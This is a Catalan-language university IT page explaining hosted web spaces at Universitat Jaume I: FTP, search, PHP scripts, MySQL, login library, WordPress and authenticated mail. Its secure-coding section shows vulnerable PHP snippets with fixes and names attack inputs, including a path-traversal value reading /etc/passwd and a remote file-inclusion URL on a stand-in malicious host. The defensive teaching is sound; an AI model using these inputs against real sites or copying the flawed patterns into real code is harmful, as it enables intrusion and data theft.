Universitat Jaume I - UJI - Castello

Servei d'Informàtica
Serveis

    Espais cedits en la Universitat Jaume I


    -Instruccions-


    Els departaments, centres, instituts, grups d'investigació i altres entitats poden sol·licitar espai als servidors centrals de la Universitat per a albergar les seues pàgines web. Podeu consultar els Criteris de cessió d'espais WWW on podreu trobar la sol·licitud. Després haureu de seguir aquestes instruccions.

    AVIS important:
    1. Cada espai disposarà de 2GB inicialment,encara que es podrà demanar més espai (document pdf). També us recordem que aquest servidor està dimensionat per a allotjar contingut relacionat amb la publicació web estrictament (pàgines web, bases de dades, etc.), amb la qual cosa, no es pot gastar per emmagatzemar altres continguts no destinats a aquesta finalitat (còpies, etc.).
    2. El Servei d'Informàtica es reserva el dret de tancar l'espai web en cas de superar la quota o usar-lo per a altres fins no esmentats en aquest document.
    3. El Servei d'Informàtica NO dona suport als scripts (CGI) desenvolupats pels propis propietaris de l'espai cedit o per tercers.

    Introducció

    Des del Servei d'Informàtica s'ha posat en funcionament un servei de hosting per a albergar els espais cedits corresponents a grups d'investigació, departaments, serveis i altres entitats que necesiten publicar informació en la web amb caracter propi i independent d'aquella informació que apareix al PortalUJI.

    Hi ha publicat un protocol que recull els Criteris de Concessió d'actuació davant incidències en els Espais Cedits de l'UJI.

    Característiques bàsiques

    Els avantatges principals d'usar aquest servei són:

    • Còpia automàtica (backup).
    • Diverses ferramentes a l'abast de tots els espais (buscador, base de dades, plantilles, estadístiques, comptadors i suport de PHP), llibreries i mòduls d'autentificació d'usuaris de la Universitat Jaume I, certificats per a servidors web segurs, etc. (Existeix la possibilitat de demanar altres ferramentes addicionals a aquestes, i, en cas de ser factible la seua instal·lació, es posarà a l'abast de tots els espais).
    • Opcionalment cada espai cedit pot disposar d'un bloc basat en el programari WordPress

    Com introduir i actualitzar la informació

    Aquest és un document dirigit als responsables del manteniment de l'espai web i que estiguen pensant en implementar CGIs al seu espai. Els punts 1, 2 i 3 són de caràcter general i vàlids per a qualsevol persona a càrrec d'un espai, independentment si vol o no treballar amb CGIs.
    Les característiques fonamentals de què disposa l'usuari que demana un espai cedit són les següents:

    L'estructura principal dels directoris d'un espai cedit és aquesta:

    d--x--x--x 2 root www 4096 Nov 8 10:24 bin
    drwxr-xr-x 2 ecedit ecedit 4096 Nov 8 10:24 cgi-bin
    d--x--x--x 2 root www 4096 Nov 8 10:24 etc
    drwxr-xr-x 4 ecedit ecedit 4096 Nov 14 08:20 htdocs
    drwxr-xr-x 2 root www 4096 Nov 8 10:24 lib
    drwxr-xr-x 2 ecedit ecedit 4096 Nov 8 10:24 pub

    On els directoris "bin, etc, lib, pub" són directoris del sistema, per tant, no hauríen de ser modificats per l'usuari.

    A tindre en compte:

    • El directori "cgi-bin" és el directori on es poden executar CGIs d'usuari.
    • El directori "htdocs" és el directori on hauran d'ubicar-se les pàgines web i també es poden executar CGIs d'usuari.

    1. Compte FTP i Host Virtual

    L'adreça que es facilita a l'espai cedit és un "Host Virtual" dins del domini de la Universitat Jaume I. Per la qual cosa, l'adreça definitiva d'accés a l'espai cedit serà la següent:
    - http://<espai_cedit>.uji.es (on espai_cedit pot tindre la sintaxi 'http://www.nom.uji.es' o simplement 'http://nom.uji.es').

    L'accés al servidor es farà mitjançant el protocol FTP. Les pàgines web hauran d'ubicar-se al directori "htdocs". L'adreça de connexió al servidor ftp, serà la mateixa que la de l'accés per navegador a l'espai cedit. Normalment:

    - ftp://<espai_cedit>.uji.es

    • El nom d'usuari i la clau d'accés se subministra quan es demana l'espai cedit.
    • Si voleu canviar la clau d'accés subministrada polseu ací.

    Podeu usar el propi navegador del sistema operatiu per tal de transferir els documents mijançant FTP. En Windows podeu usar Iexplorer o Mozilla i en Linux podeu usar konqueror, Mozilla, etc, i l'adreça que teniu que posar tindria esta sintaxi: ftp://usuari_del_espai_cedit@espai_cedit.uji.es.

    2. Buscador

    Aquest servei permet disposar d'un buscador que indexa tot l'espai cedit (fulles HTML, arxius MS Office, PDF, etc) i presenta els resultats seguint el format del buscador del Portal.

    Aquest buscador es pot usar de dos formes, una en la es presenten els resultats amb la mateixa imatge del Portal i l'altra en la que es pot transformar el resultat de la recerca a format HTML (o altres, per RSS -sindicació-) i la imatge personalitzada.

    Recordeu que per poder disposar de buscador haureu de marcar l'opció corresponent del formulari de petició. Si ja teniu espai cedit i necesiteu un buscador, haureu d'omplir un comunicat CAU.

    - Primer mètode (imatge del Portal)

    Aquest fragment en HTML incrustat en la vostra fulla permet invocar el buscador del vostre espai. Recordeu indicar el nom de l'espai cedit (nom_espai_cedit) en el valor de la variable site que es correspon en el nom que apareix entre www i uji.es. Si el vostre espai cedit no comença per www indiqueu el nom d'abans de uji.es.

          <form action="http://www.uji.es/search/search.jsp" method="post">
            <input type="hidden" name="type" value="G" />
            <input type="hidden" name="site" value="nom_espai_cedit"
            <input type="text" name="query" value="" />
            <input type="submit" value="Cercar" />
            </form>

    - Segon mètode (imatge personalitzada)

    A l'adreça http://mewtoo.uji.es/buscador hi ha un example de codi sense cap tipus de format per facilitar la personalització gràfica. Junt a aquest buscador example, veureu el codi font per poder copiar-lo al vostre espai personal.

    Abans de posar-lo en producció en el vostre espai, haureu de personalitzar:

    1. El diseny, incloent-hi l'HTML que necesiteu.
    2. El paràmetre "site" haurà de tindre el valor del nom de l'espai cedit.

    Hi ha que tindre en compte que aquest buscador d'example busca dins l'espai "www.mayores.uji.es", amb la qual cosa el valor "site" és "mayores".

    3. Execució de CGIs

    Es permet l'execució de CGIs dins de l'espai cedit, nomes cal ubicar-los en el directori "cgi-bin" (si necesitem una ubicació diferent de la ubicació on es troben els documents estatics de l'espai cedit) o al directori ?htdocs? (si volem que es puga executar un CGI des de la pròpia arrel de l'espai).

    Només es permet l'execució d'scripts en PHP (extensions .php, .php3, .php4, .php5), no es podran executar scripts en perl, python y/o shell script. Açí teniu uns exemples en aquest llenguatge de programació:

    PHP ( http://www.php.net )

    Per a executar CGIs desenvolupats en php només cal transferir-los, mijançant FTP, a la carpeta adient ('cgi-bin' o 'htdocs') del servidor.
    Quant programeu una aplicació web és molt recomanable seguir aquestes recomanacions. Es tracta de recomanacions per a PHP però són aplicables a qualsevol altre llenguatge de programació:

    • Initzialització de variables: és imprescindible inicialitzar cada variable que s'utlitze dins de l'script, per tal que no siga inicialitzada per tercers invocant la URL de l'script amb GET o POST. Es a dir, algun podria invocar l'script enviant-li un valor de la variable falç si coneix el nom de la mateixa. Considereu aquest fragment que no inicialitza la variable superusuario:

              <?php
                      if (comprueba_privilegios()){
                         $superusuario = true;
                      }
                      ...
              ?>

    • Algú si coneix esta variable podria cridar l'script així http://www..uji.es/example.php?superusuario=true i convertir-se en superusuario. Aquest fragment ja soluciona la fallada de seguretat:

              <?php
                      $superusuario = false;
                      if (comprueba_privilegios()){
                         $superusuario = true;
                      }
                      ...
              ?>

    • Recollida dels valors: les variables que arriben pel mètode GET, POST o COOKIE, normalment són enregistrades com variables globals, de forma que invocant-les directament ja tenim acces al seu valor. Esta és una forma de treballar no recomanable, ja que podem caure una altra vegada en una fallada similar a la d'abans, amb la qual cosa, hauríem de recurrir a altres mètodes per recollir les variables, com ara $_GET['superusuario'] si ens arriba per GET, $_POST['superusuario'] si ens arriba per POST, $_COOKIE['superusuario'] si ens arriba en forma de cookie, o $_REQUEST['superusuario'], que és la forma universal d'accedir, siga quin siga el mètode.
       
    • Acces a arxius: imaginem que tenim una variable $nom_usuari que conté el nom de l'usuari despres d'autenticar-se en algun lloc, i que volem carregar una salutació segons qui siga de la següent forma:

                   <?php
                           include ("/usr/local/lib/salutacions/$nom_usuari");
                   ?>

    • Accés a URL remotes: l'accés a URLs remotes mitjançant crides com ara copy("http://www.uji.es", $algun_llloc), include("http://www.php.net/pp.php"), fopen("http://www.php.net/pp.php", "r"), etc es troba deshabilitada per raons de seguretat, no obstant això, es pot utilitzar el següent codi per emular aquesta funcionalitat:

                  

      require_once 'HTTP/Client.php';
      if (!function_exists('mi_include')) {
         function mi_include($url) {

                   $http = new HTTP_Client();

                if ( $http->get($url) == 200 ) {
                     $a = $http->currentResponse();
                        print $a['body'];
                       } else {
                          $a = $http->currentResponse();
                          print "";
                       }
                     }
                   }

    Alguna mala persona podria passar en el $nom_usuari el valor ../../../../etc/passwd o ../../algun/arxiu/secret/important.txt i accedir al contingut amb dades sensibles. Este cas es pot corregir usant la funció realpath($nom_usuari) la qual cosa elimina els .. indeseables.

    Un altre cas podria ser el del següent script que fa al mateix peró està codificat així:

    <?php
                 chdir ("/usr/local/lib/salutacions");
                 include ($nom_usuari);
                 ...
           ?>

    La mateixa mala persona podria passar-li a l'script com a valor de $nom_usuari una URL amb codi PHP, per exemple:

    - http://www.elmalo.com/codigo_malicioso.php
    (http://www..uji.es/example.php nom_usuari=http://www.elmalo.com/codigo_malicioso.php), resultant en que el nostre script inclou el contingut de l'script remot i executant les sentències malignes. La solució passa per utilitzar les funcions realpath() o basename().

    • Altres: no useu dades proporcionats per l'usuari, normalment de formularis, com a paràmetres de funcions com eval(), preg_replace() amb l'opció /e, o comandos de sistema com ara exec(), system(), popen(), passthru() o l'operador `, ja que podria acabar executant en el sistema ordres no desitjades.

      També és especialment perillos recollir dades proporcionades per l'usuari per a confeccionar una sentència SQL o query. Al repecte haurem d'usar les funcions mysql_real_escape_string(), addslashes() i stripslashes(), per tal d'eliminar caràcters sensibles que podrien facilitar a l'usuri alterar la query.
       
    • Mes informació: llibre "Programming PHP", Editorial O'Reilly, Rasmus Lerdorf & Kevin Tatroe, i una documentació completa de les funcions disponibles en aquest llenguatge de programació, a les següents pàgines web:
    • http://www.php.net
    • http://es.php.net

    4. Estadístiques setmanals

    Tots els espais cedits disposen d'una pàgina on es poden consultar les estadístiques setmanals d'accessos a l'espai cedit. L'adreça d'accés a aquestes estadístiques és la següent:

    -http://<nom_del_espai_cedit>.uji.es/stats/

    Aquestes estadístiques ens mostren una relació d'accessos web al nostre espai, amb les següents característiques:

    • Resum d'accesos (nombre de visitants, visites, fulles, sol.licitudsi tràfic). Accesibles per dia, setmana, mes i per any.
    • Detalls de que accedeix (pîum;sos, servidors i robots).
    • Detalls de navegació (duració de visites, fulles d'entrada i d'eixida, tipus d'arxius servits, URLs o fulles accedides, sistemes operatius i navegadors).
    • Enllaços (enllaços externs, des de buscadors i paraules que se busquen en recerques).
    • Altres (afegit a favorits, codis d'error HTTP per fulles no trobades, detalls d'acces des de la xarxa de l'UJI).

    Es pot observar que hi ha gran quantitat de paràmetres, encara que en la majoria dels casos només ens interessaran els següents:

    • Nombre de visites: cada visita es correspon en un conjunt d'accesos d'una mateixa persona durant un període de temps (1 hora).
    • Fulles: nombre d'accessos a pàgines HTML.
    • Sol.licituds: fa referència al nombre de hits, on cada hit és un accés a cada element d'una URL o fulla (imatges, elements multimèdia, etc).

    Podeu veure un exemple d'aquesta informació accedint a la URL esmentada abans, on podreu trobar ajuda contextual.

    També es disposa de l'opció de rebre aquestes estadístiques per correu electrònic. En aquest cas, heu de comunicar-nos-ho fent un comunicat CAU.

    5. Base de dades.

    Es pot fer ús d'una base de dades Mysql ( http://www.mysql.com ) dins de l'espai cedit. Es pot consultar, inserir, modificar i eliminar la informació emmagatzemada en aquesta base de dades mitjançant qualsevol llenguatge de script d'aquells que hem comentat abans. Un exemple d'accés a la base de dades fet amb PHP podria ser el següent:

    <html>
    <body>
    <?
     $mysql_id  = mysql_connect("localhost","usuari","password");
     $resultado = mysql_db_query("bd", "select * from profesores", $mysql_id);
     echo "<table border=1 width=40% align=center>";
     while ($reg = mysql_fetch_object($resultado)) {
      echo "<tr>";
       echo "<td>".$reg->nombre."</td>";
       echo "<td>".$reg->despacho."</td>";
       echo "<td>".$reg->telefono."</td>";
       echo "<tr>";
     }
     echo "</table>";
     mysql_close($mysql_id);
    ?>
    </body>
    </html>

    Aquest exemple fa una connexió a la base de dades mysql, fa una consulta SQL, i mostra el resultat de la consulta a una taula HTML. Podeu trobar més informació de les funcions d'accés a Bases de Dades Mysql del PHP en aquesta adreça: http://www.php.net/manual/en/ref.mysql.php
    Per a gestionar l'estructura i informació d'aquesta Base de Dades, també s'ofereix un entorn visual de gestió de Bases de Dades mysql. La URL d'accés a aquest entorn és la següent:

    • http://<nom_espai_cedit>.uji.es/phpmyadmin

    Per a accedir a la gestió cal autenticar-se amb l'usuari i la clau d'accés del sistema.

    Per a fer ús d'aquesta Base de Dades i les seues ferramentes, heu de sol·licitar el servei fent un CAU.

    6. Validació d'usuaris de la Universitat Jaume I

    Es posa a disposició de qualsevol espai cedit una llibreria d'autenticació d'usuaris, que ens permet validar l'accés i mantindre sessió a l'espai cedit (o a una part d'aquest) amb usuaris de la Universitat Jaume I.

    Per a fer ús de la llibreria, és necessari utilitzar el llenguatge de programació PHP.
    Les tres funcions principals són:

    1.-lsm_login(URL, SERVIDOR), on URL: és opcional i indica on s'ha de tornar quan la persona estiga autenticada. Si no es posa res, tornarem al mateix script. SERVIDOR: és opcional, indica el servidor on validar la persona (nuvol.uji.es o anubis.uji.es). Si no es posa res intentarà validar en el servidor adequat en funció del nom d'usuari.
    2.-lsm_logout(URL), on URL: és opcional i indica on s'ha de tornar quan la persona haja sortit de la sessió. Si no es posa res, tornarem al mateix script.
    3.-lsm_get_login(), que torna el nom d'usuari que s'ha autenticat exitosament o una cadena buïda en cas contrari.

    Exemples:

    <?PHP
    //Exemple en PHP per validar usuaris
    //S'ha d'incloure este codi al principi
    //de cada script que necessite autenticació.

    require_once("lsm/lsm.inc.php");

    if (isset($logout)){
            lsm_logout();
    }else{
            lsm_login("");
            $login = lsm_get_login();
            echo "<html>Validat.El teu
    login :".$login." Ací ja es pot posar el contingut
    privat.";
            echo "<a href=\"".$PHP_SELF."?logout=yes
    \">Sortir</a></html>";
    }
    ?>

    Si el responsable de l'espai té la necessitat de protegir certes parts del web i no vol programar cap CGI, el Servei d'Informàtica pot dotar d'una autenticació bàsica a aquestes parts fent la petició CAU (Centre d'Atenció a Usuaris).

    7. Servei de Bloc

    Aquest programari es basa en el gestor de blocs anomenat WordPress, molt conegut i que us podreu trobar en múltiples llocs. A més, la documentació és molt completa.

    L'adreça per accedir a l'administració del vostre bloc és la mateixa que la de l'espai que haveu demanat, afegint al final "/bloc/wp-admin/", per exemple:

    • http://<nom_del_espai_cedit>.uji.es/bloc/wp-admin/

    Les credencials que heu d'usar són les mateixes que usareu per accedir via ftp. Per tal de vore les entrades de la nostra bitàcola simplement afegim "/bloc/" al final de l'adreça del nostre espai. Per exemple:

    • http://<nom_del_espai_cedit>.uji.es/bloc

    8. Enviament de correu

    L'enviament de correu a través del servidor de correu que tenim habilitat en la màquina d'espais cedits s'ha de fer de manera autenticada per evitar riscos de propagació de virus i spam davant d'un accés no autoritzat a un dels comptes dels espais cedits. Per això, hem habilitat diferents utilitats que ens permetran fer l'enviament de correu de manera correcta.

    1. La funció "mail" del PHP (http://es2.php.net/manual/en/function.mail.php) ha estat modificada per acceptar 2 paràmetres més (usuari / clau d'accés). És a dir, l'anomenada original és aquesta:

    bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

    La nova funció "mail" es la següent:

    bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters [, string $username, string $password ]]] )

    Exemple:

    * La típica funció d'enviament de correu a través de PHP es realitzaria de la següent manera:

    $destinatario = "infosis@uji.es";
    $titulo = "Prueba de envío";
    $mensaje = "Esto es una prueba";
    $cabecera_remitente = "From: uji@uji.es";
    mail($destinatario, $titulo, $mensaje, $cabecera_remitente, "");

    * Ara s'ha de fer de la següent manera:

    $destinatario = "infosis@uji.es";
    $titulo = "Prueba de envío";
    $mensaje = "Esto es una prueba";
    $cabecera_remitente = "From: uji@uji.es";
    $usuario = "tu_usuario";
    $password = "tu_clave";
    mail($destinatario, $titulo, $mensaje, $cabecera_remitente, "", $usuario, $password);

    2. Es pot utilitzar qualsevol eina més completa d'enviament de correu. Posem a la vostra disposició diversos enllaços a les eines de gestió de continguts que solen ser més utilitzades.

    • Configuració per a enviar correus utilitzant WP Mail SMTP

    En l'opció "Ajustes", seleccionar "Email". A continuació cal configurar les dades del servidor SMTP que necessitem utilitzar. Per a poder realitzar enviaments de correus des del WordPress utilitzant el SMTP de la Universitat Jaume I hauràs d'indicar les següents dades de configuració del servidor.

    Mailer: Send all WordPress emails via SMTP.
    SMTP Host: localhost
    SMTP Port: 25
    Encryption: No encryption
    Authentication: Yes: Use SMTP authentication


    Username: El nom d'usuari que es va facilitar al sol·licitar l'espai cedit.
    Clau d'accés: La clau que es va facilitar al sol·licitar l'espai cedit.

     

    9. Altres

    • En aquesta secció, s'anirà afegint progressivament altres ferramentes d'us rel·lacionades amb la cessió d'espais:
    • Utilitat per al processament i enviament de formularis per correu (consulteu la documentació).
    • Utilitat per a canviar la clau d'accés de l'usuari ftp
    • Utilitat per a generar gràfiques (de barres, tartes, etc) en PHP anomenada JPGRAPH.

    Per a fer ús d'esta ferramenta, en els vostres scripts PHP heu d'incloure la línia:

      include("jpgraph14/jpgraph.php");

    al principi de l'script.

    Si voleu saber mes sobre aquesta ferramenta visiteu http://www.aditus.nu/jpgraphh

     


    Informació proporcionada per: Servei d'Informàtica
    Data de modificació: 05/06/2014 12:34
    Informació i consultes: Bústia UJI | Polítiques generals i de campus
    Universitat Jaume I CIF: Q-6250003-H Av. de Vicent Sos Baynat, s/n 12071 Castelló de la Plana, Espanya Tel.: +34 964 72 80 00 Fax: +34 964 72 90 16